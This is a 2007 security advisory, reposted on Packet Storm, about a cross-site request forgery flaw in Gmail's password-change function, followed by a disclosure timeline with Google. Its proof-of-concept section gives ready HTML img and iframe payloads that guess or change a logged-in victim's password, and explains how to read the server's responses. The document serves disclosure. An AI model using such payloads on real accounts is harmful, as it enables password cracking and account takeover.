Google Gmail Cross Site Request Forgery

2009-03-03T00:00:00
ID PACKETSTORM:75349
Type packetstorm
Reporter Vicente Aguilera Diaz
Modified 2009-03-03T00:00:00

Description

                                        
                                            `=============================================  
INTERNET SECURITY AUDITORS ALERT 2007-003  
- Original release date: August 1st, 2007  
- Last revised: January 11th, 2009  
- Discovered by: Vicente Aguilera Diaz  
- Severity: 3/5  
=============================================  
  
I. VULNERABILITY  
-------------------------  
CSRF vulnerability in GMail service  
  
II. BACKGROUND  
-------------------------  
Gmail is Google's free webmail service. It comes with built-in Google  
search technology and over 2,600 megabytes of storage (and growing  
every day). You can keep all your important messages, files and  
pictures forever, use search to quickly and easily find anything  
you're looking for, and make sense of it all with a new way of viewing  
messages as part of conversations.  
  
III. DESCRIPTION  
-------------------------  
Cross-Site Request Forgery, also known as one click attack or session  
riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of  
malicious exploit of websites. Although this type of attack has  
similarities to cross-site scripting (XSS), cross-site scripting  
requires the attacker to inject unauthorized code into a website,  
while cross-site request forgery merely transmits unauthorized  
commands from a user the website trusts.  
  
GMail is vulnerable to CSRF attacks in the "Change Password"  
functionality. The only token for authenticate the user is a session  
cookie, and this cookie is sent automatically by the browser in every  
request.  
  
An attacker can create a page that includes requests to the "Change  
password" functionality of GMail and modify the passwords of the users  
who, being authenticated, visit the page of the attacker.  
  
The attack is facilitated since the "Change Password" request can be  
realized across the HTTP GET method instead of the POST method that is  
realized habitually across the "Change Password" form.  
  
IV. PROOF OF CONCEPT  
-------------------------  
1. An attacker create a web page "csrf-attack.html" that realize many  
HTTP GET requests to the "Change Password" functionality.  
  
For example, a password cracking of 3 attempts (see "OldPasswd"  
parameter):  
...  
<img  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
<img  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
<img  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
...  
  
or with hidden frames:  
...  
<iframe  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
<iframe  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
<iframe  
src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save">  
...  
  
The attacker can use deliberately a weak new password (see "Passwd"  
and "PasswdAgain" parameters), this way he can know if the analysed  
password is correct without need to modify the password of the victim  
user.  
  
Using weak passwords the "Change Password" response is:  
- " The password you gave is incorrect. ", if the analysed password  
is not correct.  
- " We're sorry, but you've selected an insecure password. In order  
to protect the security of your account, please click "Password  
Strength" to get tips on choosing to safer password. ", if the  
analysed password is correct and the victim password is not modified.  
  
If the attacker want to modify the password of the victim user, the  
waited response message is: " Your new password has been saved - OK ".  
  
In any case, the attacker evades the restrictions imposed by the  
captcha of the authentication form.  
  
2. A user authenticated in GMail visit the "csrf-attack.html" page  
controlled by the attacker.  
  
For example, the attacker sends a mail to the victim (a GMail account)  
and provokes that the victim visits his page (social engineering). So,  
the attacker insures himself that the victim is authenticated.  
  
3. The password cracking is executed transparently to the victim.  
  
V. BUSINESS IMPACT  
-------------------------  
- Selective DoS on users of the GMail service (changing user password).  
- Possible access to the mail of other GMail users.  
  
VI. SYSTEMS AFFECTED  
-------------------------  
Gmail service.  
  
VII. SOLUTION  
-------------------------  
No solution provided by vendor.  
  
VIII. REFERENCES  
-------------------------  
http://www.gmail.com  
  
IX. CREDITS  
-------------------------  
This vulnerability has been discovered and reported by  
Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).  
  
X. REVISION HISTORY  
-------------------------  
July 31, 2007: Initial release  
August 1, 2007: Fewer corrections.  
December 30, 2008: Last details.  
  
XI. DISCLOSURE TIMELINE  
-------------------------  
July 30, 2007: Vulnerability acquired by  
Internet Security Auditors.  
August 1, 2007: Initial notification sent to the  
Google security team.  
August 1, 2007: Google security team request additional  
information.  
about and start review the vulnerability.  
August 13, 2007: Request information about the status.  
August 15, 2007: Google security team responds that they are still  
working on this.  
September 19, 2007: Request for the status. No response.  
November 26, 2007: Request for the status. No response.  
January 2, 2008: Request for the status. No response.  
January 4, 2008: Request for the status. No response.  
January 11, 2008: Request for the status. No response.  
January 15, 2008: Request for the status. Automated response.  
January 18, 2008: Google security team informs that don't expect  
behaviour to change in the short term giving  
the justification.  
We deconstruct those arguments as insufficient.  
No more responses.  
December 30, 2008: Request for the status. Confirmation from Google  
they won't change the consideration about this.  
January 11, 2009: Publication to Bugtraq. Rejected twice.  
No reasons.  
March 03, 2009: General publication for disclosure in other lists.  
  
XII. LEGAL NOTICES  
-------------------------  
The information contained within this advisory is supplied "as-is"  
with no warranties or guarantees of fitness of use or otherwise.  
Internet Security Auditors accepts no responsibility for any damage  
caused by the use or misuse of this information.  
`